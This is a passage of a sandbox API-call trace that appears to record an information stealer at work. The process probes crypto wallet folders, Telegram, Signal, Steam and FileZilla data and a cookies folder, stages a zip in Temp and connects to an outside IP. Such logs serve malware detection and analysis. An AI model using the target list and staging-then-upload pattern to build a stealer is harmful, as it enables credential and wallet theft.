"c:\\users\\keecfmwgj\\appdata\\roaming\\atomic\\databases"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.761] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000057380, nSize=0x64 | out: lpBuffer="") returned 0x22 [0175.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\electrum\\wallets"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.761] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum\\wallets" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\electrum\\wallets"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.761] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc000057520, nSize=0x64 | out: lpBuffer="") returned 0x22 [0175.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\telegram desktop\\tdata"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.787] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Telegram Desktop\\tdata" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\telegram desktop\\tdata"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.787] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc0000575f0, nSize=0x64 | out: lpBuffer="") returned 0x22 [0175.787] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Signal" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\signal"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.787] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Signal" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\signal"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.808] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Steam\\config" (normalized: "c:\\program files (x86)\\steam\\config"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Steam\\config" (normalized: "c:\\program files (x86)\\steam\\config"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.811] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0xc0000576c0, nSize=0x64 | out: lpBuffer="") returned 0x22 [0175.832] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\filezilla\\recentservers.xml"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0175.833] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\FileZilla\\recentservers.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\filezilla\\recentservers.xml"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\Cookies" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cookies"), fInfoLevelId=0x0, lpFileInformation=0xc00019ead0 | out: lpFileInformation=0xc00019ead0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xddd06ec0, ftCreationTime.dwHighDateTime=0x1da5ebf, ftLastAccessTime.dwLowDateTime=0xddd06ec0, ftLastAccessTime.dwHighDateTime=0x1da5ebf, ftLastWriteTime.dwLowDateTime=0xddd06ec0, ftLastWriteTime.dwHighDateTime=0x1da5ebf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0175.872] GetFileAttributesExW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\Cookies" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cookies"), fInfoLevelId=0x0, lpFileInformation=0xc00019ea48 | out: lpFileInformation=0xc00019ea48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xddd06ec0, ftCreationTime.dwHighDateTime=0x1da5ebf, ftLastAccessTime.dwLowDateTime=0xddd06ec0, ftLastAccessTime.dwHighDateTime=0x1da5ebf, ftLastWriteTime.dwLowDateTime=0xddd06ec0, ftLastWriteTime.dwHighDateTime=0x1da5ebf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0175.895] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\Cookies" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cookies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x204 [0175.895] GetConsoleMode (in: hConsoleHandle=0x204, lpMode=0xc00019eb4c | out: lpMode=0xc00019eb4c) returned 0 [0175.900] GetFileType (hFile=0x204) returned 0x1 [0175.947] GetProcAddress (hModule=0x77660000, lpProcName="FindFirstFileW") returned 0x7767b1b0 [0175.948] FindFirstFileW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\Cookies\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\cookies\\*"), lpFindFileData=0xc00019e7b8 | out: lpFindFileData=0xc00019e7b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xddd06ec0, ftCreationTime.dwHighDateTime=0x1da5ebf, ftLastAccessTime.dwLowDateTime=0xddd06ec0, ftLastAccessTime.dwHighDateTime=0x1da5ebf, ftLastWriteTime.dwLowDateTime=0xddd06ec0, ftLastWriteTime.dwHighDateTime=0x1da5ebf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ccdd0 [0175.949] GetProcAddress (hModule=0x77660000, lpProcName="FindNextFileW") returned 0x77670db0 [0175.949] FindNextFileW (in: hFindFile=0x2ccdd0, lpFindFileData=0xc00019e8b0 | out: lpFindFileData=0xc00019e8b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xddd06ec0, ftCreationTime.dwHighDateTime=0x1da5ebf, ftLastAccessTime.dwLowDateTime=0xddd06ec0, ftLastAccessTime.dwHighDateTime=0x1da5ebf, ftLastWriteTime.dwLowDateTime=0xddd06ec0, ftLastWriteTime.dwHighDateTime=0x1da5ebf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.949] FindNextFileW (in: hFindFile=0x2ccdd0, lpFindFileData=0xc00019e8b0 | out: lpFindFileData=0xc00019e8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0175.949] GetProcAddress (hModule=0x77660000, lpProcName="FindClose") returned 0x7767b190 [0175.949] FindClose (in: hFindFile=0x2ccdd0 | out: hFindFile=0x2ccdd0) returned 1 [0175.950] CloseHandle (hObject=0x204) returned 1 [0176.087] VirtualAlloc (lpAddress=0xc0002ec000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ec000 [0176.129] WriteFile (in: hFile=0x1d4, lpBuffer=0xc00035a000*, nNumberOfBytesToWrite=0x1bb, lpNumberOfBytesWritten=0xc00019eb24, lpOverlapped=0x0 | out: lpBuffer=0xc00035a000*, lpNumberOfBytesWritten=0xc00019eb24*=0x1bb, lpOverlapped=0x0) returned 1 [0176.150] SetEvent (hEvent=0xe8) returned 1 [0176.150] CloseHandle (hObject=0x1d4) returned 1 [0176.153] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0xc000057790, nSize=0x64 | out: lpBuffer="") returned 0x24 [0176.153] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\zTmOZs75.zip" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\ztmozs75.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x1d4 [0176.153] GetConsoleMode (in: hConsoleHandle=0x1d4, lpMode=0xc00019faac | out: lpMode=0xc00019faac) returned 0 [0176.154] GetFileType (hFile=0x1d4) returned 0x1 [0176.154] VirtualAlloc (lpAddress=0xc0002f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f0000 [0176.155] GetFileType (hFile=0x1d4) returned 0x1 [0176.155] GetProcAddress (hModule=0x77660000, lpProcName="GetFileInformationByHandle") returned 0x7766f690 [0176.158] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0xc00019fabc | out: lpFileInformation=0xc00019fabc) returned 1 [0176.158] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x77660000 [0176.160] GetProcAddress (hModule=0x77660000, lpProcName="GetFileInformationByHandleEx") returned 0x776712f0 [0176.160] GetFileInformationByHandleEx (in: hFile=0x1d4, FileInformationClass=0x9, lpFileInformation=0xc00019fa68, dwBufferSize=0x8 | out: lpFileInformation=0xc00019fa68) returned 1 [0176.160] VirtualAlloc (lpAddress=0xc0002f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f2000 [0176.161] ReadFile (in: hFile=0x1d4, lpBuffer=0xc0002f2000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00019fa74, lpOverlapped=0x0 | out: lpBuffer=0xc0002f2000*, lpNumberOfBytesRead=0xc00019fa74*=0x1bb, lpOverlapped=0x0) returned 1 [0176.161] ReadFile (in: hFile=0x1d4, lpBuffer=0xc0002f21bb, nNumberOfBytesToRead=0x45, lpNumberOfBytesRead=0xc00019fa74, lpOverlapped=0x0 | out: lpBuffer=0xc0002f21bb*, lpNumberOfBytesRead=0xc00019fa74*=0x0, lpOverlapped=0x0) returned 1 [0176.161] CloseHandle (hObject=0x1d4) returned 1 [0176.186] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Exodus" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\exodus"), fInfoLevelId=0x0, lpFileInformation=0xc00019f810 | out: lpFileInformation=0xc00019f810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0176.187] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Exodus" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\exodus"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0176.187] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\coinomi"), fInfoLevelId=0x0, lpFileInformation=0xc00019f810 | out: lpFileInformation=0xc00019f810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0176.187] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Coinomi" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\coinomi"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0176.187] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Monero" (normalized: "c:\\users\\keecfmwgj\\documents\\monero"), fInfoLevelId=0x0, lpFileInformation=0xc00019f810 | out: lpFileInformation=0xc00019f810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0176.188] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\Monero" (normalized: "c:\\users\\keecfmwgj\\documents\\monero"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0176.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic"), fInfoLevelId=0x0, lpFileInformation=0xc00019f810 | out: lpFileInformation=0xc00019f810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0176.188] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\atomic" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\atomic"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0176.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\electrum"), fInfoLevelId=0x0, lpFileInformation=0xc00019f810 | out: lpFileInformation=0xc00019f810*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0176.188] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Electrum" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\electrum"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0176.209] VirtualAlloc (lpAddress=0xc0002f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f4000 [0176.234] VirtualAlloc (lpAddress=0xc0002f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f6000 [0176.235] VirtualAlloc (lpAddress=0xc0002f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002f8000 [0176.236] VirtualAlloc (lpAddress=0xc0002fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002fa000 [0176.236] VirtualAlloc (lpAddress=0xc0002fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002fc000 [0176.237] VirtualAlloc (lpAddress=0xc0002fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002fe000 [0176.237] VirtualAlloc (lpAddress=0xc000292000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000292000 [0176.239] VirtualAlloc (lpAddress=0xc000296000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000296000 [0176.239] VirtualAlloc (lpAddress=0xc000298000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000298000 [0176.240] VirtualAlloc (lpAddress=0xc0002a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a4000 [0176.284] VirtualAlloc (lpAddress=0xc0002a6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a6000 [0176.284] VirtualAlloc (lpAddress=0xc0002a8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002a8000 [0176.285] VirtualAlloc (lpAddress=0xc0002aa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002aa000 [0176.286] VirtualAlloc (lpAddress=0xc0004a2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004a2000 [0176.287] VirtualAlloc (lpAddress=0xc0004a4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004a4000 [0176.288] SetEvent (hEvent=0xbc) returned 1 [0176.288] PostQueuedCompletionStatus (CompletionPort=0x1a8, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1 [0176.290] VirtualAlloc (lpAddress=0xc0004a6000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004a6000 [0176.292] WSASocketW (af=2, type=1, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x81) returned 0x1d4 [0176.294] CreateIoCompletionPort (FileHandle=0x1d4, ExistingCompletionPort=0x1a8, CompletionKey=0x0, NumberOfConcurrentThreads=0x0) returned 0x1a8 [0176.294] SetFileCompletionNotificationModes (FileHandle=0x1d4, Flags=0x3) returned 1 [0176.294] bind (s=0x1d4, addr=0xc00029918c*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0176.294] ConnectEx (in: s=0x1d4, name=0xc00029916c*(sa_family=2, sin_port=0x50, sin_addr="193.178.170.30"), namelen=16, lpSendBuffer=0x0, dwSendDataLength=0x0, lpdwBytesSent=0x0, lpOverlapped=0xc0002f0368 | out: lpdwBytesSent=0x0) returned 0 [0176.295] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xf90 [0107.065] free (_Block=0x4a5ae0) [0107.066] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6fe10, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6fe10*=0x98) returned 1 [0107.066] VirtualQuery (in: lpAddress=0x27b6fe18, lpBuffer=0x27b6fe18, dwLength=0x30 | out: lpBuffer=0x27b6fe18*(BaseAddress=0x27b6f000, AllocationBase=0x27970000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0107.066] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.114] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.142] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.210] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.267] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.411] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0xd8) returned 1 [0107.411] SuspendThread (hThread=0xd8) returned 0x0 [0107.412] GetThreadContext (in: hThread=0xd8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28f788, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x778d135a, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0107.415] ResumeThread (hThread=0xd8) returned 0x1 [0107.415] CloseHandle (hObject=0xd8) returned 1 [0107.415] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.528] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.638] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0107.743] 